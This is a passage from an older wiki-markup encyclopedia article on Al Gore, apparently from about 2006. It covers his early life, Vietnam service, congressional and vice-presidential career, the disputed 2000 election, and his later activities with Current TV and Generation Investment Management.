He [[U.S. presidential election, 2000|ran for President in 2000]] following [[Bill Clinton]]'s two four-year terms. He was defeated in the [[U.S. Electoral College|Electoral College]] vote by the [[United States Republican Party|Republican]] candidate [[George W. Bush]] on a vote of 271-266 with a Gore committed Elector from [[Washington, DC]] abstaining. However, Gore did receive more individual votes than Bush. The election was bitterly contested, including multiple recounts and a [[Bush v. Gore|5-4 Supreme Court]] decision that effectively secured the election for President [[George W. Bush]]. 

Gore currently serves as President of the American television channel [[Current TV|Current]] and Chairman of [[Generation Investment Management]], sits on the board of directors of [[Apple Computer]], and serves as an unofficial advisor to [[Google]]'s senior management.
Although speculation about a possible [[U.S. presidential election, 2008|presidential run in 2008]] still continues, he has stated that he does not currently plan to return to politics, but doesn't rule this possibility out in the future.

==Early life==
He attended the [[Sheridan school|Sheridan School]], and later the elite [[St. Albans School]]. In 1965, Gore enrolled at [[Harvard College]], where he majored in government. His roommates (in [[Dunster House]]) were actor [[Tommy Lee Jones]] and former Columbia University women's basketball star Katie Day's father, Bart Day. Gore graduated from Harvard in June 1969 with a Bachelor of Arts degree. 

:For more information on Gore's academic records, see [http://www.washingtonpost.com/ac2/wp-dyn?pagename=article&amp;amp;contentId=A37397-2000Mar18]

==Family==
Al Gore was born in [[Washington, D.C.]], to [[Albert Gore, Sr.|Albert A. Gore, Sr.]], a politician, and [[Pauline LaFon Gore]], one of the first female lawyers to graduate from Vanderbilt Law School.  Since his [[father]] was a veteran Democratic senator from Tennessee, Al Gore, Jr. divided his childhood between Washington, D.C., and [[Carthage, Tennessee|Carthage]], [[Tennessee]].  
During the school year, the younger Gore lived in a [[hotel]] in Washington, during summer vacations, he lived in Carthage, where he worked on the Gore family farm.

In 1970, Gore married Mary Elizabeth Aitcheson ([[Tipper Gore]]), whom he had first met many years before at his high school senior [[prom]] (St. Albans School in Washington, D.C.). They have four children: [[Karenna Gore|Karenna]] (born [[August 6]], [[1973]]), married to [[Drew Schiff]]; [[Kristin Gore|Kristin]] (born [[June 5]], [[1977]]); [[Sarah Gore|Sarah]] (born [[January 7]], [[1979]]); and [[Al Gore III|Al III]] (born [[October 19]], [[1982]]). The Gores also have two grandchildren: Wyatt (born [[July 4]], [[1999]]) and Anna Schiff.   

The Gores now reside in [[Nashville]], Tennessee, USA, and own a small farm near Carthage, Tennessee.  The family attends New Salem Missionary [[Baptist Church]] in Carthage. The Gores in late 2005 bought a condo at San Francisco's swanky St. Regis.

[http://www.prweb.com/releases/2005/12/prweb326327.htm]

==Soldier and journalist==
[[Image:AlGoreVietnam.gif|right|thumb|200px|Gore served as a field reporter in Vietnam for four months.]]

Although opposed to the Vietnam War, on [[August 7]], [[1969]], Gore enlisted in the [[United States Army|army]] to participate in the [[Vietnam War]] effort.  After completing training as a military journalist, Gore shipped to [[Vietnam]] in early 1971, serving for four months before being given an honorable discharge.  The chronology of Gore's military service is as follows:
* '''August 1969''': Enlisted at the [[Newark, New Jersey]] recruiting office.  
* '''August to October 1969''': 8 weeks of basic training at [[Fort Dix]], [[New Jersey]]
* '''Late October 1969 to December 1970''': [[Fort Rucker]], [[Alabama]], on-the-job occupational training at the [[Army Flier]] newspaper.
* '''January 1971 to May 1971''': field reporter in [[Vietnam]], part of the 20th Engineer Brigade, stationed primarily at [[Bien Hoa]] Air Base near [[Saigon]].
* '''[[May 24]], [[1971]]''': Given an honorable discharge, after his early discharge request was granted.

Gore stated many times that he opposed the Vietnam War, but chose to enlist anyway.  Some observers have noted that Gore could have avoided Vietnam in a number of ways.  Gore considered all these options, but said that his sense of civic duty compelled him to serve. [[Alexander Cockburn]] and [[Jeffrey St. Clair]] suggest in ''[[Al Gore: A User's Manual]]'' that Gore joined the military for political gain.

Because Gore served as a journalist, he was never exposed to front-line combat. Although some allege that his famous father's influence helped him to obtain this position, most military analysts agree that any man who enlisted with a Harvard degree had a good chance of being assigned a support specialty rather than an infantry position (even at the war's height, 88% of all servicemen were assigned to noncombatant specialties). However, Gore's decision to enlist for a two year term did mean that he would not be able to select his assignment, a choice which was available to three year enlistees. According to [[Newsweek]] journalist [[Bill Turque]]'s [[biography]] ''[[Inventing Al Gore]]'' (which does not shy away from criticism and scandals, such as charging Gore with smoking [[marijuana]] far more frequently than he admits), 
:''Dess Stokes, staff sergeant at the Newark Armed Forces Entrance and Examination Station on the day he walked in, doesn't remember any communication from superiors about Gore. A kid with Gore's background (a 134 [[IQ]] and a Harvard degree), he said, didn't need to be a senator's son with high-level contacts to get the military job he wanted''. 

Gore's father, [[Al Gore Sr.]], lost the [[U.S. Senate election, 1970|1970 election]], and was no longer a Senator by the time Gore arrived in Vietnam, but was a Senator until January 1971 which included the time his son would have received his assignment. Some critics charge that his father's stature led Gore's superiors to give him less dangerous assignments than they might otherwise have given him. According to combat photographer [[H. Alan Leo]], Gore was protected from dangerous situations at the request of Brigadier General [[Kenneth B. Cooper]], the 20th Engineer Brigades Commander.  Leo stated that Gore's trips into the field were safe, and that Gore &quot;could have worn a tuxedo.&quot;  These remarks seem to contradict Gore's many public statements; 

:&quot;I carried an M-16. I pulled my turn on the perimeter at night and walked through the elephant grass and I was fired upon.&quot;(''[[Baltimore Sun]]'')
:&quot;I took my turn regularly on the perimeter in these little firebases out in the boonies. Something would move, we'd fire first and ask questions later.&quot; (''[[Vanity Fair (magazine)|Vanity Fair]]'')
:&quot;I was shot at. I spent most of my time in the field.&quot; (''[[Washington Post]]'')
:&quot;I used to fly these things (combat helicopters) with the doors open, sitting on the ledge with our feet hanging down. If you flew low and fast, they wouldn't have as much time to shoot you.&quot;(''[[Weekly Standard]]'') 

For his part, Gore has stated that he knew Leo but rarely traveled with him in Vietnam, and that he never felt that he was being given special protection.  On the other hand, Leo's testimony is that Cooper gave the orders before Gore arrived, so Gore would not know about them.  The question of whether Leo frequently traveled with Gore or not still has not been conclusively answered.

Turque's book, however, states that 
:''[Cooper] said that he has no recollection of even meeting Leo, much less discussing Gore's safety with him. ...''
:''The evidence indicates that if there was an official effort to guarantee Gore's safety, it was uneven at best. His clippings from the Castle Courier, the newspaper of the U.S. Army Engineering Command, and other publications suggest that he pulled his weight, which in his case meant choppering around to report features about the good works of the 20th Engineers... When Smith said he was scheduled to leave for R&amp;amp;R in Hawaii, the sergeant called for volunteers. Gore stepped up and spent a cold night in a foxhole. &quot;Al did what everybody else did,&quot; said Mike O'Hara, the photographer who shot the Khe Sanh assignment...''
:''Regulations allowed for early release of personnel to teach or attend school if their services were deemed &quot;not essential to the mission,&quot; and Gore certainly qualified. ''

Gore stated in 1988 that his experience in Vietnam
:''didn't change my conclusions about the war being a terrible mistake, but it struck me that opponents to the war, including myself, really did not take into account the fact that there were an awful lot of South Vietnamese who desperately wanted to hang on to what they called freedom. Coming face to face with those sentiments expressed by people who did the laundry and ran the restaurants and worked in the fields was something I was naively unprepared for''.

After returning from Vietnam, Gore spent five years as a [[Journalist|reporter]] for the ''Tennessean'', a newspaper headquartered in [[Nashville, Tennessee]].  During this time, Gore also attended [[Vanderbilt University| Vanderbilt]] Divinity School and Law School, although he did not complete a degree at either.

==Congress==
[[Image:GoreSenate.jpg|right|thumb|150px|Al Gore speaks during a [[congressional hearing]] in the 1980s.]]
In the spring of 1976, Gore quit law school to run for the [[United States House of Representatives|U.S. House]], in [[United States House of Representatives, Tennessee District 4|Tennessee's fourth district]].  Gore defeated [[Stanley Rogers]] in the Democratic primary, then ran unopposed and was elected to his first [[Congress of the United States|Congressional]] post.  He was re-elected three times, in [[U.S. House election, 1978|1978]], [[U.S. House election, 1980|1980]], and [[U.S. House election, 1982|1982]].  In [[U.S. Senate election, 1984|1984]] Gore did not run for the House; instead he successfully ran for a seat in the [[United States Senate|Senate]], which had been vacated by Republican Majority Leader [[Howard Baker]].  Gore served as a Senator from Tennessee until 1993, when he became Vice President.

===House of Representatives===
On [[March 19]], [[1979]], Gore became the first person to appear on [[C-SPAN]], making a speech in the House chambers.

===Senate===

===1988 Presidential Run===
In 1988, Gore ran for President but failed to obtain the Democratic nomination, which went instead to [[Michael Dukakis]].

===Son's Accident and effect on 1992 Presidential run===
On [[April 3]], [[1989]], Gore's six-year-old son [[Al Gore III|Albert]] was nearly killed in an automobile accident while leaving the [[Baltimore Orioles]] opening game. Because of this and the resulting lengthy healing process, his father chose to stay near him during the recovery instead of laying the foundation for a presidential primary campaign against eventual nominee Bill Clinton. Gore started writing ''[[Earth in the Balance]]'', his book on environmental conservation, during his son's recovery.  ''Earth in the Balance'' became the first book written by a sitting senator to make ''[[The New York Times]]'' best-seller list since [[John F. Kennedy]]'s ''[[Profiles in Courage]]''.

===Congressional Committees===
While in Congress, Gore was a member of the following committees: [[U.S. Senate Committee on Armed Services|Armed Services]] (Defense Industry and Technology Projection Forces and Regional Defense; [[Strategic Forces and Nuclear Deterrence]]); [[U.S. Senate Committee on Commerce, Science and Transportation|Commerce, Science and Transportation]] (Communications; Consumer; Science, Technology and Space- chairman 1992; [[Surface Transportatio]]n; [[National Ocean Policy]] Study); [[U.S. Congress Joint Committee on Printing|Joint Committee on Printing]]; [[U.S. Congress Joint Economic Committee|Joint Economic Committee]]; [[U.S. Senate Committee on Rules and Administration|Rules and Administration]].

==Vice Presidency==
[[Image:ClintonGore2.jpg|thumb|350px|right|Vice President talking with President Clinton as the two pass through the Colonnade at the White House.]]
[[Bill Clinton]] chose Gore to be his running mate on [[July 9]], [[1992]], to the surprise of many as the two were both young and were from the same region of the nation.  After winning the [[U.S. presidential election, 1992|1992 election]], Al Gore was inaugurated as the 45th Vice President of the United States on [[January 20]], [[1993]]. Clinton and Gore were re-elected to a second term in the [[U.S. presidential election, 1996|1996 election]].

During his time as Vice President, Al Gore was mostly a behind the scenes player.  However, many experts consider him to be one of the most active and influential Vice Presidents in U.S. history. This was evident as Gore had weekly lunches with Clinton to keep each other abreast of current developments, although he later said that it was he who insisted on having those weekly lunches in the first place.

===Debate with Perot===
In 1993 Gore debated [[Ross Perot]] on [[CNN]]'s [[Larry King Live]] on the issue of [[free trade]]. Public opinion polls taken after the debate showed that a majority of Americans agreed with his point of view and supported [[NAFTA]]. Some claim that this performance may have been responsible for the passing of NAFTA in the [[United States House of Representatives|House of Representatives]], where it passed 234-200. [http://clinton5.nara.gov/WH/EOP/OVP/initiatives/reinventing_government.html]

===Initatives===
One of Gore's major accomplishments as Vice President was the ''National Performance Review'', which pointed out waste, fraud, and other abuse in the federal government and stressed the need for cutting the size of the [[bureaucracy]] and the number of regulations.  His book later helped guide President Clinton when he down sized the [[federal government]]. [http://clinton2.nara.gov/WH/EOP/OVP/speeches/interego.html]  

====Internet Education====
As Vice President, Gore instituted a federal program calling for all schools and libraries to be wired to the [[Internet]]. This was a culmination of work that he had started several years before. While serving in the Senate, Gore had introduced legislation which called for the creation of a new federal research center for educational computing to support an &quot;information systems highway&quot;. [http://clinton5.nara.gov/WH/EOP/OVP/initiatives/technology.html]

====Environment====
During Gore's tenure as Vice President, he was a strong proponent for environmental protection. While a senator working on his book ''Earth in the Balance'', Gore had traveled around the world on numerous fact-finding  missions. On [[Earth Day]] 1994, Gore launched the worldwide [[GLOBE program]], an innovative hands-on, school-based education and science activity that made extensive use of the Internet to increase student awareness of their environment and contribute research data for scientists.

The opinions he developed on issues such as global warming, the depletion of the ozone layer, and the destruction of rain forests is said to have played a major role in policy making for the Clinton administration. In the late nineties, Gore strongly pushed for the passage of the [[Kyoto Treaty]], which called for reduction in green house emissions. [http://web.archive.org/web/20001207090900/www.algore.com/speeches/speeches_kyoto_120897.html], [http://clinton5.nara.gov/WH/EOP/OVP/initiatives/environment.html]

====Foreign Policy====
Because of President Clinton's inexperience and Gore's service in Vietnam and in the Senate, Clinton would often look to Gore for advice in the area of foreign policy.  Gore was one of the first to call for action to remove Yugoslav President [[Slobodan Milošević]] from power in 1998.  Gore also supported [[Operation Desert Fox]], a three day bombing campaign against Iraq that attempted to &quot;degrade Saddam Hussein's ability to make and to use weapons of mass destruction.&quot; [http://www.defenselink.mil/specials/desert_fox/], [http://clinton5.nara.gov/WH/EOP/OVP/initiatives/foreign_policy.html]

[[Image:Algoreyasser.jpg|right|thumb|200px|Vice President Al Gore works along side President Clinton in trying to negotiate a Middle East peace plan with Palestinian leader [[Yasser Arafat]].]]

====Other====
During the Clinton/Gore administration, Americans enjoyed eight years of relative peace along with the longest economic expansion in history.  Democrats attributed this prosperity to the policies of the Clinton/Gore administration, and especially to the passage of the [[Omnibus Budget Reconciliation Act of 1993]], for which Gore cast the [[U.S. Vice President's tie-breaking votes|tie-breaking vote]].  During his 2000 campaign for the presidency, Gore attributed several positive economic results to his and Clinton's policies [http://clinton5.nara.gov/WH/EOP/OVP/initiatives/economy.html]  more than 22 million new jobs, highest homeownership in American history, Lowest unemployment in 30 years, Paid off $360 billion of the national debt, lowest poverty rate in 20 years, higher incomes at all levels, converted the largest budget deficit, up to that time, in American history to the largest surplus, lowest government spending in three decades, lowest federal income tax burden in 35 years, and more families own stock than ever before.  However Gore later placed a large share of the blame for his election loss on the economic downturn and NASDAQ crash of March 2000 in an interview with [[National Public Radio]]'s [[Bob Edwards]]. [http://www.npr.org/templates/story/story.php?storyId=848572]

==2000 presidential election==
{{main articles|[[Al Gore presidential campaign, 2000]] and [[U.S. presidential election, 2000]]}}
[[Image:Goreconvention.jpg|thumb|right|200px|Al Gore and running-mate Joe Lieberman at the [[2000 Democratic National Convention]].]]
After two terms as Vice President, Gore ran for [[President of the United States|President]]. In the Democratic primaries, Gore faced an early challenge from [[Bill Bradley]]. Gore's nomination was never really in doubt and Bradley withdrew from the race in early March 2000 after failing to win any state primary or caucus. 

In August 2000, Gore surprised many when he selected United States Senator [[Joe Lieberman]] to be his vice-presidential running mate. Lieberman, who is a more conservative Democrat than Gore, had publicly blasted President Clinton for the [[Monica Lewinsky]] affair. Many pundits saw Gore's choice of Lieberman as another way of trying to distance himself from the scandal-prone Clinton White House. Lieberman was also the first Jewish nominee on a major party's national ticket.

During the entire campaign, Gore was neck-and-neck in the polls with [[United States Republican Party|Republican]] [[Governor of Texas]] [[George W. Bush]].  On Election Day, the results were so close that the outcome of the race took over a month to resolve, highlighted by the premature declaration of a winner on election night, and an extremely close result in the state of [[Florida]]. On election night, news networks first called Florida for Gore, then Fox News decided to call it for Bush and all of the other news stations followed their decision.

The race was ultimately decided by a razor thin margin of only 537 popular votes in Florida, a state favored to have gone to Bush (as his brother served as Governor).  The 537 number was an astonishingly close margin out of some 105 million votes cast nationwide. Florida's 25 electoral votes were awarded to George W. Bush only after numerous court challenges. Al Gore publicly conceded the election after the [[Supreme Court of the United States|Supreme Court]] in ''[[Bush v. Gore]]'' voted 7 to 2 to declare the ongoing recount procedure unconstitutional because it feared that different standards would be used in different parts of the state, and 5 to 4 to ban recounts using other procedures.  [[Image:Gore_Debate.jpg|thumb|200px|Al Gore makes a point during a [[U.S. presidential debate|presidential debate]] during the 2000 election as George W. Bush looks on.]] Gore strongly disagreed with the Court's decision, but decided &quot;for the sake of our unity of the people and the strength of our democracy, I offer my concession.&quot;  He had previously made a concession phone call to Bush the night of the election, but quickly retracted it after learning just how close the election was. Following the election, a subsequent recount conducted by various U.S. news media organizations indicated that Mr. Bush would have won using the partial recount method of 4 strongly Democratic areas advocated by Mr. Gore, but that Mr. Gore would have won given a full recount of the state. [http://www.bushwatch.com/gorebush.htm][http://www.cnn.com/SPECIALS/2001/florida.ballots/stories/main.html].

The states that ultimately voted for Gore over Bush in the 2000 elections were New York, New Jersey, Rhode Island, Connecticut, Delaware, Maine, Vermont, Massachusetts, Washington, D.C., Pennsylvania, Michigan, Wisconsin, New Mexico, California, Oregon, Washington, Illinois, Iowa, Maryland, Minnesota and Hawaii giving Gore 267 electoral votes to Bush's 271. One of Gore's electors cast a blank ballot, to protest what she called DC's &quot;colonial status&quot;, thus the candidate's final number of electoral votes was 266.

The Florida election has been closely scrutinized since the election. Critics have argued that the Governor of Florida, Jeb Bush (Brother of George W. Bush) and the Secretary of State of Florida, Katherine Harris, did play a part in ensuring that the state was in the red column of the Republicans come election day. Several irregularities are thought to have favored Bush; others may have given Gore an edge. Irregularities favoring Bush included the notorious Palm Beach &quot;butterfly ballots&quot;, which were alleged to have produced an unexpectedly large number of votes for [[Reform Party of the United States of America|Reform Party]] candidate [[Pat Buchanan]], and a purge of some 50,000 alleged felons from the Florida voting rolls that included some voters who were again eligible to vote under Florida law. Many Bush supporters, however, believed that an unfair advantage was given to Gore when all major news networks, early on, prematurely projected Gore as the winner of Florida's 25 electoral votes at 7:52 PM Eastern Time.  This happened before the polls closed in 10 Florida counties in the heavily Republican western panhandle which are in the Central Time Zone, and thus closed at 7 PM Central Time (8 PM Eastern).  Some have thought that this depressed the pro-Bush vote in that area. [http://archives.cnn.com/2001/ALLPOLITICS/stories/02/02/cnn.report/cnn.pdf] During the numerous recounts (which made the phrase &quot;hanging chads&quot; infamous in the American vocabulary), there were also allegations of both pro-Bush and pro-Gore tampering by low-level operatives in the controversial counties. [http://www.newsmax.com/archives/articles/2000/11/26/230955.shtml] It is unclear what effect, if any, this may have had.  And while the Gore camp fought (with some success) to keep overseas absentee votes out in counties thought to be pro-Bush, Bush operatives similarly (albeit while drawing less attention to their efforts) prevented the counting of overseas absentee votes in strong Democratic counties.  Both sides contended that the votes were cast after Election Day, and since many of the envelopes did not have cancelled stamps, it was not clear when the votes were cast.  Reports later surfaced that many overseas voters attempted to vote only after learning of the closeness of the Florida vote.

Some commentators still see such irregularities, and the legal maneuvering around the recounts as casting doubt on the legitimacy of the vote; as a matter of law, however, the issue was settled, albeit controversially again, when the [[Congress of the United States|U.S. Congress]] accepted Florida's electoral delegation, only after a challenge to the Florida electors was presented in the congressional chambers on [[January 6]], [[2001]] by members of the [[Congressional Black Caucus]]. Member after member went up decrying the lack of a senator who would be willing to co-sponsor the challenge without any effect. They thus failed to bring the challenge to a debate.  

Concern about the possible disenfranchisement of voters in the Florida vote led to widespread calls for electoral reform in the United States, and ultimately to the passage of the [[Help America Vote Act]], which authorized the [[United States federal government]] to provide funds to the states to replace their mechanical voting equipment with [[electronic voting]] equipment. However, this has led to new controversies, because of the security weaknesses of the computer systems, the lack of paper-based methods of secure verification, and the necessity to rely on the trustworthiness of the manufacturers whose employees also count those votes.
Although Gore won the nationwide popular vote by more than 500,000 votes, he lost the election by five electoral votes (with one D.C. elector, pledged to Gore, casting a blank ballot to protest the District's lack of representation in Congress).

[[Image:Al Gore on Futurama.JPG|thumb|[[Recurring_characters_of_Futurama#Al_Gore|Al Gore]] on [[Futurama]].]]

Joe Lieberman later criticized Al Gore for adopting a populist theme during their 2000 campaign. Lieberman said he objected to Gore's &quot;people vs. the powerful&quot; message, believing it was not the best strategy for Democrats to use to recapture the White House.[http://www.worldnetdaily.com/news/article.asp?ARTICLE_ID=28519]

While running for president in 2000, Al Gore was used as a voice actor for the television show ''[[Futurama]]'' (for which his daughter, Kristin, was a writer). He played [[Recurring characters of Futurama#Al Gore|himself]] again in another episode after the campaign was over.

==Private citizen==
===Professor Gore===
[[Image:Goreharvard2.jpg|right|200px|thumb|left|Al Gore re-emerges in 2001 as a visiting professor with a [[beard]].]]
Following his election loss, Gore accepted visiting [[professor]]ships at [[Columbia University Graduate School of Journalism|Columbia University's Graduate School of Journalism]], [[Middle Tennessee State University]], [[University of California Los Angeles]], and [[Fisk University]]. In late 2001, Al Gore became a Senior Advisor to [[Google|Google]] and Vice Chairman of [[Los Angeles]]-based financial firm [[Metropolitan West Financial LLC]].

===Blasting Bush===
On [[September 23]], 2002, Gore spoke in [[San Francisco]] to The [[Commonwealth Club]] and made a controversial speech blasting Bush on the Iraq war [http://www.usatoday.com/news/world/2002-09-23-gore_x.htm] Although he admitted Saddam was a potential danger saying: &quot;We know that [Saddam] has stored secret supplies of biological and chemical weapons throughout his country. Iraq's search for weapons of mass destruction has proven impossible to deter and we should assume that it will continue for as long as Saddam is in power&quot;[http://www.commonwealthclub.org/archive/02/02-09gore-speech.html]  He also spoke against rushing to war with Iraq, advising caution and saying that Iraq was a diversion from fighting Al-Qaeda and terrorism in Afghanistan and elsewhere: &quot;I don't think that we should allow anything to diminish our focus on avenging the 3,000 Americans who were murdered and dismantling the network of terrorists who we know to be responsible for it. The fact that we don't know where they are should not cause us to focus instead on some other enemy whose location may be easier to identify.&quot;

Following the [[November 5]], [[2002]], midterm elections Gore re-emerged into the public eye with a 14-city book tour and a well-orchestrated &quot;full Gore&quot; media blitz which included a pair of policy speeches. On [[September 23]], Gore delivered a speech on the impending [[2003 invasion of Iraq|War with Iraq]] and the [[War on Terrorism]] that generated a fair amount of commentary. Less than two weeks later, on October 2, he made a speech on Bush's handling of the economy to the [[Brookings Institution]]. Also, during this time period Gore guest starred on several programs such as [[The Late Show with David Letterman]] and [[Saturday Night Live]] (with legendary rock band [[Phish]]), appearing much more relaxed and funnier as a private citizen than he did while holding public office.

[[Image:Goresnl.jpg|right|200px|thumb|Al Gore hosting ''[[Saturday Night Live]]'' along side ''[[The West Wing (television)|West Wing]]'' stars [[Martin Sheen]] and [[John Spencer (actor)|John Spencer]].]]
In 2003 Gore joined the board of directors of [[Apple Computer]].  On the political front, Gore kept his promise of staying involved in public debate when he offered his criticism and advice to the [[Bush Administration]] on key topics such as the [[2003 invasion of Iraq|Occupation of Iraq]], [[USA Patriot Act]], and [[natural environment|environmental]] issues, most notably [[global warming]].  Gore also continued to visit campuses across the nation lecturing on issues such as [[race]], [[media]], and [[democracy]].

On [[April 10]], [[2004]], Gore met with the [[9-11 Commission]] in private to give his testimony on what his administration did to prevent terror attacks. In a statement after the three-hour session, the commission said he was candid and forthcoming, and it thanked him for his &quot;continued cooperation.&quot;

In the summer of 2004, Gore teamed up with [[MoveOn.org]], to promote the new science fiction film, [[The Day After Tomorrow|''The Day After Tomorrow'']].  Although Gore said the movie was a far-fetched example of global warming, he said the movie would escalate public debate on the issue.

On [[April 27]], [[2005]], Gore gave an hour-long speech lambasting the GOP's effort to do away with the legislative [[filibuster]].  In response to Senate Majority Leader [[Bill Frist]], who for weeks had repeated threats to impose the &quot;[[nuclear option]]&quot; if [[Senate]] [[Democratic Party (United States)|Democrats]] did not stop blocking judicial nominees via the filibuster, Gore said, &quot;Their grand design is an all-powerful executive using a weakened [[legislature]] to fashion a compliant judiciary in its own image. The Senate has confirmed 205 or over 95% of President Bush's nominees.  Democrats have held up only 10 nominees, less than 5%. Compare that with the 60 Clinton nominees who were blocked by Republican obstruction between 1995 and 2000.  What is involved here is a power grab,&quot; Gore said.  Gore also took aim at what he called &quot;religious zealots&quot; who claim special knowledge of [[god (monotheism)|God's]] will in [[American politics]].  He went on to say, &quot;They even claim that those of us who disagree with their point of view are waging war against people of faith. How dare they!&quot;  This was Gore's first major policy speech of 2005 and also the first one since the defeat of Democratic hopeful John Kerry in late 2004.

In May 2005, Gore was awarded a lifetime achievement award for three decades of contributions to the Internet.  The [[Webby Awards]], which are widely hailed as the ''[[Oscars]]'' of the web, &quot;wanted to set the record straight&quot; about Al Gore and the Internet once and for all.   [[Tiffany Shlain]], the awards' founder and chairwoman said, &quot;It's just one of those instances someone did amazing work for three decades as congressman, senator and vice president and it got spun around into this political mess,&quot; Shlain said. [http://www.usatoday.com/tech/news/2005-05-04-gore-webby_x.htm]

In September 2005, Gore chartered two aircraft to evacuate 270 evacuees from New Orleans in the aftermath of [[Hurricane Katrina]]. [http://www.latimes.com/news/nationworld/nation/wire/sns-ap-katrina-gore,1,535141.story?coll=sns-ap-nation-headlines&amp;amp;ctrack=1&amp;amp;cset=true] He was highly critical of the government and federal response in the days after the hurricane.

===Future===
Speaking at an economic forum in [[Stockholm]], [[Sweden]], in October 2005, Gore again stated that he has no intention of ever running for president again in response to questions from reporters.  However, Gore said he could not rule the possibility out completely saying, &quot;I do not completely rule out some future interest, but I do not expect to have that.&quot; When asked how the United States would have been different if he had become president, Gore stated, &quot;We would not have invaded a country that didn't attack us,&quot; he said, referring to Iraq. &quot;We would not have taken money from the working families and given it to the most wealthy families.&quot; &quot;We would not be trying to control and intimidate the news media. We would not be routinely torturing people,&quot; Gore said. [http://www.cbsnews.com/stories/2005/10/12/politics/main938098.shtml]

In the past few years, Gore has remained busy traveling the world speaking and participating in events mainly aimed towards global warming awareness and prevention.

On January 2006, Al Gore delivered a major speech criticising President Bush's use of domestic wiretaps. Gore stated that Bush broke the law and recommended an independent counsel investigate the matter further. Also in January 2006, Al Gore was the leading man in the Sundance global warming documentary ''[[An Inconvenient Truth]]''. 

Al Gore will be publishing a second book on global warming titled &quot;An Inconvenient Truth&quot; in April 2006. 

On February 12, 2006: Former US vice-president Al Gore on Sunday said that the US government had committed ‘terrible abuses’ against Arabs living in America after 9/11 attacks, and that most Americans did not support such treatment.

“The thoughtless way in which visas are now handled, that is a mistake,” Mr Gore said at the Jeddah Economic Forum. “The worst thing we can possibly do is to cut off the channels of friendship and mutual understanding between Saudi Arabia and the United States.”

The former US vice-president told this Saudi audience, many of them educated in US universities, that Arabs in the United States had been “indiscriminately rounded up, often on minor charges of overstaying a visa or not having a green card in proper order, and held in conditions that were just unforgivable.”

“Unfortunately there have been terrible abuses and it’s wrong. I do want you to know that it does not represent the desires or wishes or feelings of the majority of the citizens of my country.”

Terrence Jeffrey of [[Human Events]] and [[Jack Kelly]] of [[RealClearPolitics.com]] however criticized Gore's comments, and pointed out that [[9/11 Commission]] (page 492) reported that [[Khalid Sheikh Mohammed]], who planned the attacks, told interrogators most of the hijackers he selected were Saudis because they had the easiest time getting visas. [http://www.realclearpolitics.com/Commentary/com-2_17_06_JKE.html] [http://michellemalkin.com/archives/004544.htm] [[Mohammad Atta]] himself was in the United States, having overstayed his visa.

====Television network====
{{main|Current TV}}
[[Image:Current.png|right|thumb|200px|Al Gore's ''Current'' official logo.]]
On [[May 4]], [[2004]], [[INdTV]] Holdings, a company co-founded by Gore and [[Joel Hyatt]], purchased cable news channel [[NewsWorld International]] from [[Vivendi Universal]].  The new network will not have political leanings, Gore said, but will serve as an &quot;independent voice&quot; for a target audience of people between 18 and 34 &quot;who want to learn about the world in a voice they recognize and a view they recognize as their own.&quot; The network was relaunched under the name [[Current TV|Current]] on [[August 1]], [[2005]].

====Investment firm====
In late 2004, it was announced that Al Gore had launched and will chair an investment firm to seek out companies taking a responsible view on big global issues like [[climate change]].

Gore's group, [[Generation Investment Management]], was created to assist the growing demand for an investment style which can bring returns by blending traditional equity research with a focus on more intangible non-financial factors such as social and environmental responsibility and corporate governance.

==2004 presidential election==
===Endorsing Dean===
[[Image:AlGoreHowardDean.jpg|right|thumb|200px|Al Gore shocked many when he did not endorse his 2000 running mate Joe Lieberman, but the outsider candidate, Howard Dean, in 2003.]]
Initially, Al Gore was touted as a logical opponent of George W. Bush in the [[2004 United States Presidential Election]]. &lt;!-- &quot;Re-elect Gore!&quot; was a common slogan among many Democrats who felt the former Vice President had been unfairly cheated out of the presidency, on the grounds that he had won the popular vote and (in the opinion of many){{fact}} should have won the Electoral College vote. --&gt;  On [[December 16]], [[2002]] however, Gore announced that he would not run in 2004, saying that it was time for &quot;fresh faces&quot; and &quot;new ideas&quot; to emerge from the Democrats. When he appeared on a ''[[60 Minutes]]'' interview, Gore said that he felt if he had run, the focus of the election would be the rematch rather than the issues. Gore's former running mate, Joe Lieberman quickly announced his own candidacy for the presidency, which he had vowed he would not do if Gore ran.

Despite Gore taking himself out of the race, a handful of his supporters formed a national campaign to &quot;[[political draft|draft]]&quot; him into running.  However, that effort largely came to an end when Gore publicly endorsed [[Governor of Vermont|Vermont Governor]] [[Howard Dean]] (over his former running mate [[Joe Lieberman]]) weeks before the first primary of the election cycle. There was still some effort to encourage write-in votes for Gore in the primaries by a different group of Gore supporters who were separate from the draft movement. Although Gore did receive a small number of votes in New Hampshire and New Mexico, that effort was halted when [[John Kerry]] pulled into the lead for the nomination. Gore's endorsement of Dean was helpful to the latter in legitimizing him in the eyes of the establishment faction of the Democratic Party, but it also led the media to dub Dean as the clear front-runner, with the result that his opponents devoted more of their emphasis to opposing him.

===Campaigning against Bush===
On [[January 15]], [[2004]], Al Gore gave a major policy address in [[New York City]] on [[climate change]] and the Bush administration's approach to the environment.  Accompanied by slides and projector, Gore slammed the Bush administration's attitude towards global warming saying, &quot;There are many who still do not believe that global warming is a problem at all. And it's no wonder: because they are the targets of a massive and well-organized campaign of disinformation lavishly funded by polluters who are determined to prevent any action to reduce the [[greenhouse gas]] [[emissions]] that cause global warming, out of a fear that their profits might be affected if they had to stop dumping so much pollution into the atmosphere.&quot;

On [[February 9]], [[2004]], on the eve of the [[Tennessee]] primary, Gore gave what many consider his harshest criticism of the president yet when he accused [[George W. Bush]] of betraying the country by using the 9/11 attacks as a justification for the invasion of Iraq. &quot;He betrayed this country!&quot; Mr. Gore shouted into the microphone.  &quot;He played on our fears! He took America on an ill-conceived foreign adventure dangerous to our troops, an adventure preordained and planned before 9/11 ever took place!&quot;  Gore also urged all Democrats to unite behind their eventual nominee proclaiming, &quot;Any one of these candidates is far better than George W. Bush.&quot;  In [[March 2004]] Gore, along with former Presidents [[Bill Clinton]] and [[Jimmy Carter]], united behind Kerry as the presumptive Democratic nominee.

[[Image:AlGoreSpeaking2004.jpg|right|thumb|200px|Al Gore, who just four years prior accepted his party's nomination, speaks as a party elder at the 2004 Democratic National Convention.]]

On [[April 28]], [[2004]], Gore announced that he would be donating $6 million to various Democratic Party groups.  Drawing from his funds left over from his [[Al Gore presidential campaign, 2000|2000 presidential campaign]], Gore pledged to donate $4 million to the [[Democratic National Committee]]. The party's Senate and House committees would each get $1 million, and the party from Gore's home state of [[Tennessee]] would receive $250,000. In addition, Gore announced that all of the surplus funds in his &quot;Recount Fund&quot; from the 2000 election controversy that resulted in the Supreme Court halting the counting of the ballots, a total of $240,000, will be donated to the [[Florida]] Democratic Party.

